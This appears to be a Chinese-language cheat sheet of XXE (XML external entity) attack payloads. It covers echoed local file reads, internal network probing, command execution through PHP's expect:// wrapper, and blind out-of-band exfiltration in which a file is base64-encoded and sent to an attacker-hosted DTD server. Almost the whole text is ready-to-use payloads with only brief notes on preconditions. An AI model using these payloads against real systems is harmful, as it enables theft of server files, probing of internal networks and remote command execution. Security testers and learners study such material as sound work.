有回显
读文件
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>
内网探针或攻击内网应用(触发漏洞地址)实际应用场景几乎碰不到
该漏洞的触发有以下几个前提条件:
①内网IP地址
②开放端口
③存在XXE漏洞
④构造漏洞地址
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.80.1:80/test.txt" >
]>
<x>&rabbit;</x>
- RCE 实际应用场景几乎碰不到
该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>
引入外部实体 DTD
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:80/evil2.dtd">
%file;
]>
<x>&send;</x>
<!ENTITY send SYSTEM "file:///d:/test.txt">
无回显
读文件
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:80/evil2.dtd">
%dtd;
%send;
]>
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://127.0.0.1:80/?data=%file;'>"
>
%payload;